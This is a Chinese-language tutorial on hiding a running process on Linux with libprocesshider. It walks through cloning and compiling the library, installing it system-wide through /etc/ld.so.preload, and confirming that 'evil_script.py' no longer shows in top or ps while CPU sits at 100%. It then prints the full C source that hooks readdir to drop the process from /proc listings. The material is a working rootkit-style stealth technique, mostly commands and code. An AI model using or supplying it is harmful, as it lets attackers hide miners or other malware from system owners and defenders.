前言

1.本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下載

2.思路就是利用 LD_PRELOAD 來實現(xiàn)系統(tǒng)函數(shù)的劫持

LD_PRELOAD是什么:

LD_PRELOAD是Linux系統(tǒng)的一個環(huán)境變量，它可以影響程序的運行時的鏈接（Runtime linker），它允許你定義在程序運行前優(yōu)先加載的動態(tài)鏈接庫。這個功能主要就是用來有選擇性的載入不同動態(tài)鏈接庫中的相同函數(shù)。通過這個環(huán)境變量，我們可以在主程序和其動態(tài)鏈接庫的中間加載別的動態(tài)鏈接庫，甚至覆蓋正常的函數(shù)庫。一方面，我們可以以此功能來使用自己的或是更好的函數(shù)（無需別人的源碼），而另一方面，我們也可以以向別人的程序注入程序，從而達到特定的目的。

實現(xiàn)

1.下載程序編譯

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.gitCloning into 'libprocesshider'...remote: Counting objects: 26, done.remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26Unpacking objects: 100% (26/26), done.bmfxgkpt-yhd:~# cd libprocesshider/bmfxgkpt-yhd:~/libprocesshider# makegcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldlbmfxgkpt-yhd:~/libprocesshider#

2.移動文件到/usr/local/lib/目錄下

mv libprocesshider.so /usr/local/lib/

3.把它加載到全局動態(tài)連接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

測試

1.我們運行evil_script.py

2.此時發(fā)現(xiàn)在top 與 ps 中都無法找到 evil_script.py

此時我們發(fā)現(xiàn) cpu 100%,但是卻找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE#include <stdio.h>#include <dlfcn.h>#include <dirent.h>#include <string.h>#include <unistd.h>/* * Every process with this name will be excluded */static const char* process_to_filter = "evil_script.py";/* * Get a directory name given a DIR* handle */static int get_dir_name(DIR* dirp, char* buf, size_t size){  int fd = dirfd(dirp);  if(fd == -1) {    return 0;  }  char tmp[64];  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);  ssize_t ret = readlink(tmp, buf, size);  if(ret == -1) {    return 0;  }  buf[ret] = 0;  return 1;}/* * Get a process name given its pid */static int get_process_name(char* pid, char* buf){  if(strspn(pid, "0123456789") != strlen(pid)) {    return 0;  }  char tmp[256];  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);  FILE* f = fopen(tmp, "r");  if(f == NULL) {    return 0;  }  if(fgets(tmp, sizeof(tmp), f) == NULL) {    fclose(f);    return 0;  }  fclose(f);  int unused;  sscanf(tmp, "%d (%[^)]s", &unused, buf);  return 1;}#define DECLARE_READDIR(dirent, readdir)                /static struct dirent* (*original_##readdir)(DIR*) = NULL;        /struct dirent* readdir(DIR *dirp)                    /{                                    /  if(original_##readdir == NULL) {                  /    original_##readdir = dlsym(RTLD_NEXT, "readdir");        /    if(original_##readdir == NULL)                 /    {                                /      fprintf(stderr, "Error in dlsym: %s/n", dlerror());     /    }                                /  }                                  /  struct dirent* dir;                         /  while(1)                              /  {                                  /    dir = original_##readdir(dirp);                 /    if(dir) {                            /      char dir_name[256];                     /      char process_name[256];                   /      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&    /        strcmp(dir_name, "/proc") == 0 &&            /        get_process_name(dir->d_name, process_name) &&     /        strcmp(process_name, process_to_filter) == 0) {     /        continue;                        /      }                              /    }                                /    break;                             /  }                                  /  return dir;                             /}DECLARE_READDIR(dirent64, readdir64);DECLARE_READDIR(dirent, readdir);